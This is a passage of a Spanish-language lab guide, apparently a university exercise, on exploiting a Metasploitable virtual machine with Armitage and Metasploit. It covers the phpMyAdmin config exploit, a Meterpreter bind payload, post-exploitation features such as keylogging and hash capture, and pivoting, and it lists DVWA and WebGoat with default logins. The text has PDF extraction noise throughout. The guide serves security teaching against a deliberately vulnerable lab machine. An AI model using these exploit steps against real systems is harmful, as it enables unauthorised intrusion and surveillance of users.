En la v ctima se ha instalado una versin antigua (y vulnerable) de phpMyAdmin o Se puede comprobar en la URL http://192.168.100.222/phpMyAdmin Pasos a seguir: 1. Sobre el host (192.168.100.222) [botn derecho] -> Attacks -> webapp -> phpmyadmin_config o Se usar el exploit exploit/unix/webapp/phpmyadmin_config. a Se puede comprobar que la versin de phpMyAdmin instalada en Metasploitable es compatible con este exploit. o 2. Asegurar que la opcin URI es exactamente /phpMyAdmin/ (el exploit es sensible a maysculas/minsculas) o u u 3. Lanzar el exploit con el PAYLOAD por defecto. Uso de Meterpreter

Lanzaremos de nuevo el exploit con un PAYLOAD ms sosticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_t a que carga la herramienta Meterpreter en la v ctima (en este caso el cdigo inyectado por el PAYLOAD es PHP) o Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para simplicar las tareas de explotacin, o post explotacin y escalada de privilegios. o Inicialmente fue desarrollado para v ctimas MS Windows, aunque existen variantes para otras arquitecturas, aunque no con todas las funcionalidades. Pasos a seguir: 1. Cerrar (disconnect) la sesin arrancada actualmente. o

2. Sobre la pestaa exploit de la consola de Armitage vinculada al ataque con exploit/unix/webapp/phpmyadmin_config n cambiar el PAYLOAD y lanzar de nuevo el exploit manualmente.
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp msf exploit(phpmyadmin_config) > show options msf exploit(phpmyadmin_config) > exploit

3. Se abre un men contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las u opciones concretas de este PAYLOAD. En la opcin Interact se abre un shell de Meterpreter con un conjunto de comandos espec o cos para tareas de post explotacin o En la opcin Explore incluye un navegador de archivos grco, un visor de procesos y un herramienta de o a captura de pantalla (depende del tipo de v ctima [no funciona con GNU/linux en modo texto]) En la opcin Pivoting se pueden congurar los parmetros necesarios para que el equipo comprometido o a funcione como pivote, actando como punto intermedio en el anlisis y ataque con Metasploit a otras u a mquinas accesibles desde dicha v a ctima. 4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)

13

Con help se muestran los comandos, muchos de ellos son dependientes de la arquitectura y S.O. de la v ctima y no todos estarn disponibles. a comando load -carga mdulos de meterpreter con funcionalidades adicionales: load -l) o comando run -ejecuta mdulos de post explotacin o scripts meterpreter o o comandos ipconfig, route, portfwd -control de la conguracin de red de la v o ctima otros: control de webcam/micrfono, captura de pantalla, keylogger, captura de hashes de contraseas o n (slo en MS Windows), etc o

3.3.5.

Tarea: explotar la aplicacin web TikiWiki o

Exploit a emplear: exploit/unix/webapp/tikiwiki_graph_formula_exec Sobre el hosts 192.168.100.222: [botn derecho] -> Attacks -> webapp -> tikiwiki_graph_formula_exec o

4.

Extra: Aplicaciones web vulnerables de entrenamiento y educativas

En la mquina virtual Metasploitable se han instalado dos aplicaciones web educativas (una en PHP y otra en Java) a para exprimentar con las vulnerabilidades t picas de las aplicaciones web. Damm Vulnerable Web Application Aplicacin web escrita en PHP con una coleccin de ejercicios sobre vulnerabilidades web habituales. o o Pgina del proyecto: http://www.dvwa.co.uk/ a URL de acceso desde ATACANTE: http://192.168.100.222/dvwa/ Credenciales de acceso: admin/password Cdigo fuente en /var/www/dvwa (en METASPLOITABLE) o OWASP WebGoat. Aplicacin web J2EE escrita en Java mantenida y distribuida por el proyecto OWASP (Open Web Application o Security Project), incluye una coleccin de lecciones detalladas y ejercicios sobre las vulnerabilidades incluidas o en el OWASP Top Ten Project que mantiene un ranking con las vulnerabilidades web ms importantes. a Pgina del proyecto: OWASP WebGoat Project a Las instrucciones para poner el marcha la web estn en el chero /home/msfadmin/vulnerable/LEEME.txt a de la mquina METASPLOITABLE. a La aplicacin se distribuye con su propio servidor Apache Tomcat y quedar a la escucha en la URL o a http://192.168.100.222:8888/webgoat/attack. Credenciales de acceso: webgoat/webgoat, guest/guest, basic/basic

14